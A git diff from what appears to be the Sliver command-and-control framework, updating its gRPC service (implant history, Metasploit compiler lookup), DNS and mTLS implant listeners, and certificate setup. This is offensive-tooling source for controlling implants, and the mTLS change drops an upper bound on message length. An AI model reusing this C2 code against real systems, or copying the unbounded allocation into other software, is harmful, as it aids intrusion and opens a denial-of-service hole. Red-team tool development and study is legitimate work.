func (c *sliverRPCClient) BuilderRegister(ctx context.Context, in *clientpb.Builder, opts ...grpc.CallOption) (SliverRPC_BuilderRegisterClient, error) {
- stream, err := c.cc.NewStream(ctx, &SliverRPC_ServiceDesc.Streams[1], SliverRPC_BuilderRegister_FullMethodName, opts...)
+ stream, err := c.cc.NewStream(ctx, &SliverRPC_ServiceDesc.Streams[2], SliverRPC_BuilderRegister_FullMethodName, opts...)
if err != nil {
return nil, err
}
@@ -970,7 +1018,7 @@ func (c *sliverRPCClient) Builders(ctx context.Context, in *commonpb.Empty, opts
}
func (c *sliverRPCClient) CrackstationRegister(ctx context.Context, in *clientpb.Crackstation, opts ...grpc.CallOption) (SliverRPC_CrackstationRegisterClient, error) {
- stream, err := c.cc.NewStream(ctx, &SliverRPC_ServiceDesc.Streams[2], SliverRPC_CrackstationRegister_FullMethodName, opts...)
+ stream, err := c.cc.NewStream(ctx, &SliverRPC_ServiceDesc.Streams[3], SliverRPC_CrackstationRegister_FullMethodName, opts...)
if err != nil {
return nil, err
}
@@ -1208,6 +1256,15 @@ func (c *sliverRPCClient) GetCompiler(ctx context.Context, in *commonpb.Empty, o
return out, nil
}
+func (c *sliverRPCClient) GetMetasploitCompiler(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.MetasploitCompiler, error) {
+ out := new(clientpb.MetasploitCompiler)
+ err := c.cc.Invoke(ctx, SliverRPC_GetMetasploitCompiler_FullMethodName, in, out, opts...)
+ if err != nil {
+ return nil, err
+ }
+ return out, nil
+}
+
func (c *sliverRPCClient) ShellcodeEncoder(ctx context.Context, in *clientpb.ShellcodeEncodeReq, opts ...grpc.CallOption) (*clientpb.ShellcodeEncode, error) {
out := new(clientpb.ShellcodeEncode)
err := c.cc.Invoke(ctx, SliverRPC_ShellcodeEncoder_FullMethodName, in, out, opts...)
@@ -2019,7 +2076,7 @@ func (c *sliverRPCClient) CloseSocks(ctx context.Context, in *sliverpb.Socks, op
}
func (c *sliverRPCClient) SocksProxy(ctx context.Context, opts ...grpc.CallOption) (SliverRPC_SocksProxyClient, error) {
- stream, err := c.cc.NewStream(ctx, &SliverRPC_ServiceDesc.Streams[3], SliverRPC_SocksProxy_FullMethodName, opts...)
+ stream, err := c.cc.NewStream(ctx, &SliverRPC_ServiceDesc.Streams[4], SliverRPC_SocksProxy_FullMethodName, opts...)
if err != nil {
return nil, err
}
@@ -2068,7 +2125,7 @@ func (c *sliverRPCClient) CloseTunnel(ctx context.Context, in *sliverpb.Tunnel,
}
func (c *sliverRPCClient) TunnelData(ctx context.Context, opts ...grpc.CallOption) (SliverRPC_TunnelDataClient, error) {
- stream, err := c.cc.NewStream(ctx, &SliverRPC_ServiceDesc.Streams[4], SliverRPC_TunnelData_FullMethodName, opts...)
+ stream, err := c.cc.NewStream(ctx, &SliverRPC_ServiceDesc.Streams[5], SliverRPC_TunnelData_FullMethodName, opts...)
if err != nil {
return nil, err
}
@@ -2099,7 +2156,7 @@ func (x *sliverRPCTunnelDataClient) Recv() (*sliverpb.TunnelData, error) {
}
func (c *sliverRPCClient) Events(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (SliverRPC_EventsClient, error) {
- stream, err := c.cc.NewStream(ctx, &SliverRPC_ServiceDesc.Streams[5], SliverRPC_Events_FullMethodName, opts...)
+ stream, err := c.cc.NewStream(ctx, &SliverRPC_ServiceDesc.Streams[6], SliverRPC_Events_FullMethodName, opts...)
if err != nil {
return nil, err
}
@@ -2134,16 +2191,17 @@ func (x *sliverRPCEventsClient) Recv() (*clientpb.Event, error) {
// All implementations must embed UnimplementedSliverRPCServer
// for forward compatibility
type SliverRPCServer interface {
- // *** Version ***
+ // *** Teamclient ***
GetVersion(context.Context, *commonpb.Empty) (*clientpb.Version, error)
+ GetUsers(context.Context, *commonpb.Empty) (*clientpb.Users, error)
// *** Client Logs ***
ClientLog(SliverRPC_ClientLogServer) error
- // *** Operator Commands ***
- GetOperators(context.Context, *commonpb.Empty) (*clientpb.Operators, error)
// *** Generic ***
Kill(context.Context, *sliverpb.KillReq) (*commonpb.Empty, error)
Reconfigure(context.Context, *sliverpb.ReconfigureReq) (*sliverpb.Reconfigure, error)
Rename(context.Context, *clientpb.RenameReq) (*commonpb.Empty, error)
+ ImplantHistory(SliverRPC_ImplantHistoryServer) error
+ GetImplantHistory(context.Context, *clientpb.HistoryRequest) (*clientpb.History, error)
// *** Sessions ***
GetSessions(context.Context, *commonpb.Empty) (*clientpb.Sessions, error)
// ***Threat monitoring ***
@@ -2232,6 +2290,7 @@ type SliverRPCServer interface {
MsfStage(context.Context, *clientpb.MsfStagerReq) (*clientpb.MsfStager, error)
ShellcodeRDI(context.Context, *clientpb.ShellcodeRDIReq) (*clientpb.ShellcodeRDI, error)
GetCompiler(context.Context, *commonpb.Empty) (*clientpb.Compiler, error)
+ GetMetasploitCompiler(context.Context, *commonpb.Empty) (*clientpb.MetasploitCompiler, error)
ShellcodeEncoder(context.Context, *clientpb.ShellcodeEncodeReq) (*clientpb.ShellcodeEncode, error)
ShellcodeEncoderMap(context.Context, *commonpb.Empty) (*clientpb.ShellcodeEncoderMap, error)
TrafficEncoderMap(context.Context, *commonpb.Empty) (*clientpb.TrafficEncoderMap, error)
@@ -2348,12 +2407,12 @@ type UnimplementedSliverRPCServer struct {
func (UnimplementedSliverRPCServer) GetVersion(context.Context, *commonpb.Empty) (*clientpb.Version, error) {
return nil, status.Errorf(codes.Unimplemented, "method GetVersion not implemented")
}
+func (UnimplementedSliverRPCServer) GetUsers(context.Context, *commonpb.Empty) (*clientpb.Users, error) {
+ return nil, status.Errorf(codes.Unimplemented, "method GetUsers not implemented")
+}
func (UnimplementedSliverRPCServer) ClientLog(SliverRPC_ClientLogServer) error {
return status.Errorf(codes.Unimplemented, "method ClientLog not implemented")
}
-func (UnimplementedSliverRPCServer) GetOperators(context.Context, *commonpb.Empty) (*clientpb.Operators, error) {
- return nil, status.Errorf(codes.Unimplemented, "method GetOperators not implemented")
-}
func (UnimplementedSliverRPCServer) Kill(context.Context, *sliverpb.KillReq) (*commonpb.Empty, error) {
return nil, status.Errorf(codes.Unimplemented, "method Kill not implemented")
}
@@ -2363,6 +2422,12 @@ func (UnimplementedSliverRPCServer) Reconfigure(context.Context, *sliverpb.Recon
func (UnimplementedSliverRPCServer) Rename(context.Context, *clientpb.RenameReq) (*commonpb.Empty, error) {
return nil, status.Errorf(codes.Unimplemented, "method Rename not implemented")
}
+func (UnimplementedSliverRPCServer) ImplantHistory(SliverRPC_ImplantHistoryServer) error {
+ return status.Errorf(codes.Unimplemented, "method ImplantHistory not implemented")
+}
+func (UnimplementedSliverRPCServer) GetImplantHistory(context.Context, *clientpb.HistoryRequest) (*clientpb.History, error) {
+ return nil, status.Errorf(codes.Unimplemented, "method GetImplantHistory not implemented")
+}
func (UnimplementedSliverRPCServer) GetSessions(context.Context, *commonpb.Empty) (*clientpb.Sessions, error) {
return nil, status.Errorf(codes.Unimplemented, "method GetSessions not implemented")
}
@@ -2585,6 +2650,9 @@ func (UnimplementedSliverRPCServer) ShellcodeRDI(context.Context, *clientpb.Shel
func (UnimplementedSliverRPCServer) GetCompiler(context.Context, *commonpb.Empty) (*clientpb.Compiler, error) {
return nil, status.Errorf(codes.Unimplemented, "method GetCompiler not implemented")
}
+func (UnimplementedSliverRPCServer) GetMetasploitCompiler(context.Context, *commonpb.Empty) (*clientpb.MetasploitCompiler, error) {
+ return nil, status.Errorf(codes.Unimplemented, "method GetMetasploitCompiler not implemented")
+}
func (UnimplementedSliverRPCServer) ShellcodeEncoder(context.Context, *clientpb.ShellcodeEncodeReq) (*clientpb.ShellcodeEncode, error) {
return nil, status.Errorf(codes.Unimplemented, "method ShellcodeEncoder not implemented")
}
@@ -2901,6 +2969,24 @@ func _SliverRPC_GetVersion_Handler(srv interface{}, ctx context.Context, dec fun
return interceptor(ctx, in, info, handler)
}
+func _SliverRPC_GetUsers_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
+ in := new(commonpb.Empty)
+ if err := dec(in); err != nil {
+ return nil, err
+ }
+ if interceptor == nil {
+ return srv.(SliverRPCServer).GetUsers(ctx, in)
+ }
+ info := &grpc.UnaryServerInfo{
+ Server: srv,
+ FullMethod: SliverRPC_GetUsers_FullMethodName,
+ }
+ handler := func(ctx context.Context, req interface{}) (interface{}, error) {
+ return srv.(SliverRPCServer).GetUsers(ctx, req.(*commonpb.Empty))
+ }
+ return interceptor(ctx, in, info, handler)
+}
+
func _SliverRPC_ClientLog_Handler(srv interface{}, stream grpc.ServerStream) error {
return srv.(SliverRPCServer).ClientLog(&sliverRPCClientLogServer{stream})
}
@@ -2927,24 +3013,6 @@ func (x *sliverRPCClientLogServer) Recv() (*clientpb.ClientLogData, error) {
return m, nil
}
-func _SliverRPC_GetOperators_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
- in := new(commonpb.Empty)
- if err := dec(in); err != nil {
- return nil, err
- }
- if interceptor == nil {
- return srv.(SliverRPCServer).GetOperators(ctx, in)
- }
- info := &grpc.UnaryServerInfo{
- Server: srv,
- FullMethod: SliverRPC_GetOperators_FullMethodName,
- }
- handler := func(ctx context.Context, req interface{}) (interface{}, error) {
- return srv.(SliverRPCServer).GetOperators(ctx, req.(*commonpb.Empty))
- }
- return interceptor(ctx, in, info, handler)
-}
-
func _SliverRPC_Kill_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(sliverpb.KillReq)
if err := dec(in); err != nil {
@@ -2999,6 +3067,50 @@ func _SliverRPC_Rename_Handler(srv interface{}, ctx context.Context, dec func(in
return interceptor(ctx, in, info, handler)
}
+func _SliverRPC_ImplantHistory_Handler(srv interface{}, stream grpc.ServerStream) error {
+ return srv.(SliverRPCServer).ImplantHistory(&sliverRPCImplantHistoryServer{stream})
+}
+
+type SliverRPC_ImplantHistoryServer interface {
+ SendAndClose(*commonpb.Empty) error
+ Recv() (*clientpb.ImplantCommand, error)
+ grpc.ServerStream
+}
+
+type sliverRPCImplantHistoryServer struct {
+ grpc.ServerStream
+}
+
+func (x *sliverRPCImplantHistoryServer) SendAndClose(m *commonpb.Empty) error {
+ return x.ServerStream.SendMsg(m)
+}
+
+func (x *sliverRPCImplantHistoryServer) Recv() (*clientpb.ImplantCommand, error) {
+ m := new(clientpb.ImplantCommand)
+ if err := x.ServerStream.RecvMsg(m); err != nil {
+ return nil, err
+ }
+ return m, nil
+}
+
+func _SliverRPC_GetImplantHistory_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
+ in := new(clientpb.HistoryRequest)
+ if err := dec(in); err != nil {
+ return nil, err
+ }
+ if interceptor == nil {
+ return srv.(SliverRPCServer).GetImplantHistory(ctx, in)
+ }
+ info := &grpc.UnaryServerInfo{
+ Server: srv,
+ FullMethod: SliverRPC_GetImplantHistory_FullMethodName,
+ }
+ handler := func(ctx context.Context, req interface{}) (interface{}, error) {
+ return srv.(SliverRPCServer).GetImplantHistory(ctx, req.(*clientpb.HistoryRequest))
+ }
+ return interceptor(ctx, in, info, handler)
+}
+
func _SliverRPC_GetSessions_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(commonpb.Empty)
if err := dec(in); err != nil {
@@ -4337,6 +4449,24 @@ func _SliverRPC_GetCompiler_Handler(srv interface{}, ctx context.Context, dec fu
return interceptor(ctx, in, info, handler)
}
+func _SliverRPC_GetMetasploitCompiler_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
+ in := new(commonpb.Empty)
+ if err := dec(in); err != nil {
+ return nil, err
+ }
+ if interceptor == nil {
+ return srv.(SliverRPCServer).GetMetasploitCompiler(ctx, in)
+ }
+ info := &grpc.UnaryServerInfo{
+ Server: srv,
+ FullMethod: SliverRPC_GetMetasploitCompiler_FullMethodName,
+ }
+ handler := func(ctx context.Context, req interface{}) (interface{}, error) {
+ return srv.(SliverRPCServer).GetMetasploitCompiler(ctx, req.(*commonpb.Empty))
+ }
+ return interceptor(ctx, in, info, handler)
+}
+
func _SliverRPC_ShellcodeEncoder_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(clientpb.ShellcodeEncodeReq)
if err := dec(in); err != nil {
@@ -6078,8 +6208,8 @@ var SliverRPC_ServiceDesc = grpc.ServiceDesc{
Handler: _SliverRPC_GetVersion_Handler,
},
{
- MethodName: "GetOperators",
- Handler: _SliverRPC_GetOperators_Handler,
+ MethodName: "GetUsers",
+ Handler: _SliverRPC_GetUsers_Handler,
},
{
MethodName: "Kill",
@@ -6093,6 +6223,10 @@ var SliverRPC_ServiceDesc = grpc.ServiceDesc{
MethodName: "Rename",
Handler: _SliverRPC_Rename_Handler,
},
+ {
+ MethodName: "GetImplantHistory",
+ Handler: _SliverRPC_GetImplantHistory_Handler,
+ },
{
MethodName: "GetSessions",
Handler: _SliverRPC_GetSessions_Handler,
@@ -6381,6 +6515,10 @@ var SliverRPC_ServiceDesc = grpc.ServiceDesc{
MethodName: "GetCompiler",
Handler: _SliverRPC_GetCompiler_Handler,
},
+ {
+ MethodName: "GetMetasploitCompiler",
+ Handler: _SliverRPC_GetMetasploitCompiler_Handler,
+ },
{
MethodName: "ShellcodeEncoder",
Handler: _SliverRPC_ShellcodeEncoder_Handler,
@@ -6756,6 +6894,11 @@ var SliverRPC_ServiceDesc = grpc.ServiceDesc{
Handler: _SliverRPC_ClientLog_Handler,
ClientStreams: true,
},
+ {
+ StreamName: "ImplantHistory",
+ Handler: _SliverRPC_ImplantHistory_Handler,
+ ClientStreams: true,
+ },
{
StreamName: "BuilderRegister",
Handler: _SliverRPC_BuilderRegister_Handler,
diff --git a/protobuf/sliverpb/sliver.pb.go b/protobuf/sliverpb/sliver.pb.go
index e9c661b612..f459ef12a2 100644
--- a/protobuf/sliverpb/sliver.pb.go
+++ b/protobuf/sliverpb/sliver.pb.go
@@ -1,7 +1,7 @@
// Code generated by protoc-gen-go. DO NOT EDIT.
// versions:
-// protoc-gen-go v1.31.0
-// protoc v4.25.0
+// protoc-gen-go v1.31.0-devel
+// protoc v3.15.8
// source: sliverpb/sliver.proto
package sliverpb
diff --git a/server/assets/assets-helpers.go b/server/assets/assets-helpers.go
index 0993a0b7f5..f4ad70cbcc 100644
--- a/server/assets/assets-helpers.go
+++ b/server/assets/assets-helpers.go
@@ -142,7 +142,7 @@ func setupGo(appDir string) error {
os.MkdirAll(goRootPath, 0700)
// Go compiler and stdlib
- goZipFSPath := path.Join("fs", runtime.GOOS, runtime.GOARCH, "go.zip")
+ goZipFSPath := filepath.Join("fs", runtime.GOOS, runtime.GOARCH, "go.zip")
goZip, err := assetsFs.ReadFile(goZipFSPath)
if err != nil {
setupLog.Errorf("static asset not found: %s", goZipFSPath)
@@ -176,7 +176,7 @@ func setupGo(appDir string) error {
if runtime.GOOS == "windows" {
garbleFileName = "garble.exe"
}
- garbleAssetPath := path.Join("fs", runtime.GOOS, runtime.GOARCH, garbleFileName)
+ garbleAssetPath := filepath.Join("fs", runtime.GOOS, runtime.GOARCH, garbleFileName)
garbleFile, err := assetsFs.ReadFile(garbleAssetPath)
if err != nil {
setupLog.Errorf("Static asset not found: %s", garbleFile)
@@ -194,7 +194,7 @@ func setupGo(appDir string) error {
func setupSGN(appDir string) error {
goBinPath := filepath.Join(appDir, "go", "bin")
- sgnZipFSPath := path.Join("fs", runtime.GOOS, runtime.GOARCH, "sgn.zip")
+ sgnZipFSPath := filepath.Join("fs", runtime.GOOS, runtime.GOARCH, "sgn.zip")
sgnZip, err := assetsFs.ReadFile(sgnZipFSPath)
if err != nil {
setupLog.Errorf("static asset not found: %s", sgnZipFSPath)
diff --git a/server/assets/assets.go b/server/assets/assets.go
index 68880078b8..cd6a2e61a5 100644
--- a/server/assets/assets.go
+++ b/server/assets/assets.go
@@ -43,9 +43,7 @@ const (
envVarName = "SLIVER_ROOT_DIR"
)
-var (
- setupLog = log.NamedLogger("assets", "setup")
-)
+var setupLog = log.NamedLogger("assets", "setup")
// GetRootAppDir - Get the Sliver app dir, default is: ~/.sliver/
func GetRootAppDir() string {
@@ -59,7 +57,7 @@ func GetRootAppDir() string {
}
if _, err := os.Stat(dir); os.IsNotExist(err) {
- err = os.MkdirAll(dir, 0700)
+ err = os.MkdirAll(dir, 0o700)
if err != nil {
setupLog.Fatalf("Cannot write to sliver root dir %s", err)
}
@@ -71,7 +69,7 @@ func GetRootAppDir() string {
func GetChunkDataDir() string {
chunkDir := filepath.Join(GetRootAppDir(), "crack", "chunks")
if _, err := os.Stat(chunkDir); os.IsNotExist(err) {
- err = os.MkdirAll(chunkDir, 0700)
+ err = os.MkdirAll(chunkDir, 0o700)
if err != nil {
setupLog.Errorf("Failed to create chunk data directory: %s", err)
return ""
@@ -84,7 +82,7 @@ func GetChunkDataDir() string {
func GetTrafficEncoderDir() string {
trafficDir := filepath.Join(GetRootAppDir(), "traffic-encoders")
if _, err := os.Stat(trafficDir); os.IsNotExist(err) {
- os.MkdirAll(trafficDir, 0700)
+ os.MkdirAll(trafficDir, 0o700)
}
return trafficDir
}
diff --git a/server/builder/builder.go b/server/builder/builder.go
index 76218537fb..54c28a8eb4 100644
--- a/server/builder/builder.go
+++ b/server/builder/builder.go
@@ -23,10 +23,10 @@ import (
"fmt"
"io"
"os"
- "os/signal"
"path/filepath"
"strings"
+ "github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
@@ -36,9 +36,7 @@ import (
"github.com/bishopfox/sliver/server/log"
)
-var (
- builderLog = log.NamedLogger("builder", "sliver")
-)
+var builderLog = log.NamedLogger("builder", "sliver")
type Config struct {
GOOSs []string
@@ -47,26 +45,24 @@ type Config struct {
}
// StartBuilder - main entry point for the builder
-func StartBuilder(externalBuilder *clientpb.Builder, rpc rpcpb.SliverRPCClient) {
-
- sigint := make(chan os.Signal, 1)
- signal.Notify(sigint, os.Interrupt)
-
+func StartBuilder(externalBuilder *clientpb.Builder, rpc rpcpb.SliverRPCClient, con *console.SliverClient) error {
builderLog.Infof("Attempting to register builder: %s", externalBuilder.Name)
+ con.PrintInfof("Attempting to register builder: %s", externalBuilder.Name)
+
events, err := buildEvents(externalBuilder, rpc)
if err != nil {
- os.Exit(1)
+ builderLog.Errorf("Build events handler error: %s", err.Error())
+ return nil
}
// Wait for signal or builds
- for {
- select {
- case <-sigint:
- return
- case event := <-events:
+ go func() {
+ for event := range events {
go handleBuildEvent(externalBuilder, event, rpc)
}
- }
+ }()
+
+ return con.WaitSignal()
}
func buildEvents(externalBuilder *clientpb.Builder, rpc rpcpb.SliverRPCClient) (<-chan *clientpb.Event, error) {
diff --git a/server/c2/dns.go b/server/c2/dns.go
index 197b431b82..8af3bfeaf0 100644
--- a/server/c2/dns.go
+++ b/server/c2/dns.go
@@ -74,8 +74,6 @@ var (
implantBase64 = encoders.Base64{} // Implant's version of base64 with custom alphabet
ErrInvalidMsg = errors.New("invalid dns message")
ErrNoOutgoingMessages = errors.New("no outgoing messages")
- ErrMsgTooLong = errors.New("too much data to encode")
- ErrMsgTooShort = errors.New("too little data to encode")
)
// StartDNSListener - Start a DNS listener
@@ -104,7 +102,6 @@ type DNSSession struct {
ImplantConn *core.ImplantConnection
CipherCtx *cryptography.CipherContext
- dnsIdMsgIdMap map[uint32]uint32
outgoingMsgIDs []uint32
outgoingBuffers map[uint32][]byte
outgoingMutex *sync.RWMutex
@@ -125,15 +122,13 @@ func (s *DNSSession) nextMsgID() uint32 {
// StageOutgoingEnvelope - Stage an outgoing envelope
func (s *DNSSession) StageOutgoingEnvelope(envelope *sliverpb.Envelope) error {
- dnsLog.Debugf("Staging outgoing envelope %v", envelope)
+ // dnsLog.Debugf("Staging outgoing envelope %v", envelope)
plaintext, err := proto.Marshal(envelope)
if err != nil {
- dnsLog.Errorf("[dns] failed to marshal outgoing message %s", err)
return err
}
ciphertext, err := s.CipherCtx.Encrypt(plaintext)
if err != nil {
- dnsLog.Errorf("[dns] failed to encrypt outgoing message %s", err)
return err
}
@@ -148,7 +143,7 @@ func (s *DNSSession) StageOutgoingEnvelope(envelope *sliverpb.Envelope) error {
// PopOutgoingMsgID - Pop the next outgoing message ID, FIFO
// returns msgID, len, err
-func (s *DNSSession) PopOutgoingMsgID(msg *dnspb.DNSMessage) (uint32, uint32, error) {
+func (s *DNSSession) PopOutgoingMsgID() (uint32, uint32, error) {
s.outgoingMutex.Lock()
defer s.outgoingMutex.Unlock()
if len(s.outgoingMsgIDs) == 0 {
@@ -160,8 +155,6 @@ func (s *DNSSession) PopOutgoingMsgID(msg *dnspb.DNSMessage) (uint32, uint32, er
if !ok {
return 0, 0, errors.New("no buffer for msg id")
}
- //Necessary for any race conditions for resolvers that send out multiple identical requests
- s.dnsIdMsgIdMap[msg.ID] = msgID
return msgID, uint32(len(ciphertext)), nil
}
@@ -471,7 +464,6 @@ func (s *SliverDNSServer) handleHello(domain string, msg *dnspb.DNSMessage, req
dnsLog.Debugf("[dns] Assigned new dns session id = %d", dnsSessionID&sessionIDBitMask)
s.sessions.Store(dnsSessionID&sessionIDBitMask, &DNSSession{
ID: dnsSessionID & sessionIDBitMask,
- dnsIdMsgIdMap: map[uint32]uint32{},
outgoingMsgIDs: []uint32{},
outgoingBuffers: map[uint32][]byte{},
outgoingMutex: &sync.RWMutex{},
@@ -553,23 +545,6 @@ func (s *SliverDNSServer) handleDNSSessionInit(domain string, msg *dnspb.DNSMess
resp.Authoritative = true
for _, q := range req.Question {
switch q.Qtype {
-
- case dns.TypeAAAA:
-
- chunks := splitToChunks(respData, 16)
- msg_len := len(respData)
- dnsLog.Infof("[dns] msg length: %d)", msg_len)
- for i, chunk := range chunks {
- ttl := uint32(msg_len)
- chunkIdx := uint32(i) << 8
- ttl = ttl ^ chunkIdx
- a_record := &dns.AAAA{
- Hdr: dns.RR_Header{Name: q.Name, Rrtype: dns.TypeAAAA, Class: dns.ClassINET, Ttl: ttl},
- AAAA: chunk,
- }
- resp.Answer = append(resp.Answer, a_record)
- }
-
case dns.TypeTXT:
rawTxt, _ := implantBase64.Encode(respData)
respTxt := string(rawTxt)
@@ -596,60 +571,26 @@ func (s *SliverDNSServer) handlePoll(domain string, msg *dnspb.DNSMessage, check
loadSession, _ := s.sessions.Load(msg.ID & sessionIDBitMask)
dnsSession := loadSession.(*DNSSession)
- msgID, msgLen, err := dnsSession.PopOutgoingMsgID(msg)
- if err != nil {
- if err != ErrNoOutgoingMessages {
- dnsLog.Errorf("[poll] error popping outgoing msg id: %s", err)
- return s.refusedErrorResp(req)
- } else {
- msgLen = 0
- msgID = 0
- dnsLog.Debugf("[poll] error: %s", err)
- oldID, ok := dnsSession.dnsIdMsgIdMap[msg.ID]
- if !ok {
- dnsLog.Debugf("[poll] no msg id for given request")
- } else {
- ciphertext, ok := dnsSession.outgoingBuffers[oldID]
- if !ok {
- dnsLog.Debugf("[poll] no msg for given id")
- } else {
- msgLen = uint32(len(ciphertext))
- msgID = oldID
- }
- }
-
- }
+ msgID, msgLen, err := dnsSession.PopOutgoingMsgID()
+ if err != nil && err != ErrNoOutgoingMessages {
+ dnsLog.Errorf("[poll] error popping outgoing msg id: %s", err)
+ return s.refusedErrorResp(req)
}
-
respData := []byte{}
- dnsLog.Debugf("[poll] manifest %d (%d bytes)", msgID, msgLen)
- respData, _ = proto.Marshal(&dnspb.DNSMessage{
- Type: dnspb.DNSMessageType_MANIFEST,
- ID: msgID,
- Size: msgLen,
- })
+ if err == nil {
+ dnsLog.Debugf("[poll] manifest %d (%d bytes)", msgID, msgLen)
+ respData, _ = proto.Marshal(&dnspb.DNSMessage{
+ Type: dnspb.DNSMessageType_MANIFEST,
+ ID: msgID,
+ Size: msgLen,
+ })
+ }
resp := new(dns.Msg)
resp.SetReply(req)
resp.Authoritative = true
for _, q := range req.Question {
switch q.Qtype {
- case dns.TypeAAAA:
-
- chunks := splitToChunks(respData, 16)
- msg_len := len(respData)
- dnsLog.Infof("[dns] msg length: %d)", msg_len)
- for i, chunk := range chunks {
- ttl := uint32(msg_len)
- chunkIdx := uint32(i) << 8
- ttl = ttl ^ chunkIdx
- a_record := &dns.AAAA{
- Hdr: dns.RR_Header{Name: q.Name, Rrtype: dns.TypeAAAA, Class: dns.ClassINET, Ttl: ttl},
- AAAA: chunk,
- }
- resp.Answer = append(resp.Answer, a_record)
- }
-
case dns.TypeTXT:
rawTxt, _ := implantBase64.Encode(respData)
respTxt := string(rawTxt)
@@ -668,7 +609,6 @@ func (s *SliverDNSServer) handlePoll(domain string, msg *dnspb.DNSMessage, check
resp.Answer = append(resp.Answer, txt)
}
}
-
return resp
}
@@ -724,22 +664,6 @@ func (s *SliverDNSServer) handleDataToImplant(domain string, msg *dnspb.DNSMessa
resp.Authoritative = true
for _, q := range req.Question {
switch q.Qtype {
- case dns.TypeAAAA:
-
- chunks := splitToChunks(respData, 16)
- msg_len := len(respData)
- dnsLog.Infof("[dns] msg length: %d)", msg_len)
- for i, chunk := range chunks {
- ttl := uint32(msg_len)
- chunkIdx := uint32(i) << 8
- ttl = ttl ^ chunkIdx
- a_record := &dns.AAAA{
- Hdr: dns.RR_Header{Name: q.Name, Rrtype: dns.TypeAAAA, Class: dns.ClassINET, Ttl: ttl},
- AAAA: chunk,
- }
- resp.Answer = append(resp.Answer, a_record)
- }
-
case dns.TypeTXT:
rawTxt, _ := implantBase64.Encode(respData)
respTxt := string(rawTxt)
@@ -877,24 +801,3 @@ func dnsSessionID() uint32 {
dnsSessionID := binary.LittleEndian.Uint32(randBuf)
return dnsSessionID
}
-
-func splitToChunks(data []byte, chunkSize int) [][]byte {
- var chunks [][]byte
-
- for i := 0; i < len(data); i += chunkSize {
- end := i + chunkSize
-
- // If end is greater than the length of the data,
- // adjust it to be the length of data to avoid slicing beyond.
- if end > len(data) {
- end = len(data)
- }
-
- chunk := make([]byte, chunkSize)
- copy(chunk, data[i:end])
-
- chunks = append(chunks, chunk)
- }
-
- return chunks
-}
diff --git a/server/c2/mtls.go b/server/c2/mtls.go
index 4a31d2c087..cf91f8931f 100644
--- a/server/c2/mtls.go
+++ b/server/c2/mtls.go
@@ -40,9 +40,6 @@ import (
const (
// defaultServerCert - Default certificate name if bind is "" (all interfaces)
defaultServerCert = ""
-
- // ServerMaxMessageSize - Server-side max GRPC message size
- ServerMaxMessageSize = (2 * 1024 * 1024 * 1024) - 1
)
var (
@@ -163,27 +160,27 @@ func socketReadEnvelope(connection net.Conn) (*sliverpb.Envelope, error) {
// Read the first four bytes to determine data length
dataLengthBuf := make([]byte, 4) // Size of uint32
n, err := io.ReadFull(connection, dataLengthBuf)
+
if err != nil || n != 4 {
mtlsLog.Errorf("Socket error (read msg-length): %v", err)
return nil, err
}
-
dataLength := int(binary.LittleEndian.Uint32(dataLengthBuf))
- if dataLength <= 0 || ServerMaxMessageSize < dataLength {
+ if dataLength <= 0 {
// {{if .Config.Debug}}
mtlsLog.Printf("[pivot] read error: %s\n", err)
// {{end}}
- return nil, errors.New("[pivot] invalid data length")
+ return nil, errors.New("[pivot] zero data length")
}
dataBuf := make([]byte, dataLength)
n, err = io.ReadFull(connection, dataBuf)
+
if err != nil || n != dataLength {
mtlsLog.Errorf("Socket error (read data): %v", err)
return nil, err
}
-
// Unmarshal the protobuf envelope
envelope := &sliverpb.Envelope{}
err = proto.Unmarshal(dataBuf, envelope)
diff --git a/server/certs/ca.go b/server/certs/ca.go
index 7ebf12f321..20205bca58 100644
--- a/server/certs/ca.go
+++ b/server/certs/ca.go
@@ -38,7 +38,6 @@ import (
func SetupCAs() {
GenerateCertificateAuthority(MtlsImplantCA, "")
GenerateCertificateAuthority(MtlsServerCA, "")
- GenerateCertificateAuthority(OperatorCA, "operators")
GenerateCertificateAuthority(HTTPSCA, "")
}
@@ -46,7 +45,7 @@ func getCertDir() string {
rootDir := assets.GetRootAppDir()
certDir := filepath.Join(rootDir, "certs")
if _, err := os.Stat(certDir); os.IsNotExist(err) {
- err := os.MkdirAll(certDir, 0700)
+ err := os.MkdirAll(certDir, 0o700)
if err != nil {
certsLog.Fatalf("Failed to create cert dir %s", err)
}
@@ -126,10 +125,9 @@ func GetCertificateAuthorityPEM(caType string) ([]byte, []byte, error) {
// doesn't return an error because errors are fatal. If we can't generate CAs,
// then we can't secure communication and we should die a horrible death.
func SaveCertificateAuthority(caType string, cert []byte, key []byte) {
-
storageDir := getCertDir()
if _, err := os.Stat(storageDir); os.IsNotExist(err) {
- os.MkdirAll(storageDir, 0700)
+ os.MkdirAll(storageDir, 0o700)
}
// CAs get written to the filesystem since we control the names and makes them
@@ -137,12 +135,12 @@ func SaveCertificateAuthority(caType string, cert []byte, key []byte) {
certFilePath := filepath.Join(storageDir, fmt.Sprintf("%s-ca-cert.pem", caType))
keyFilePath := filepath.Join(storageDir, fmt.Sprintf("%s-ca-key.pem", caType))
- err := ioutil.WriteFile(certFilePath, cert, 0600)
+ err := ioutil.WriteFile(certFilePath, cert, 0o600)
if err != nil {
certsLog.Fatalf("Failed write certificate data to: %s", certFilePath)
}
- err = ioutil.WriteFile(keyFilePath, key, 0600)
+ err = ioutil.WriteFile(keyFilePath, key, 0o600)
if err != nil {
certsLog.Fatalf("Failed write certificate data to: %s", keyFilePath)
}
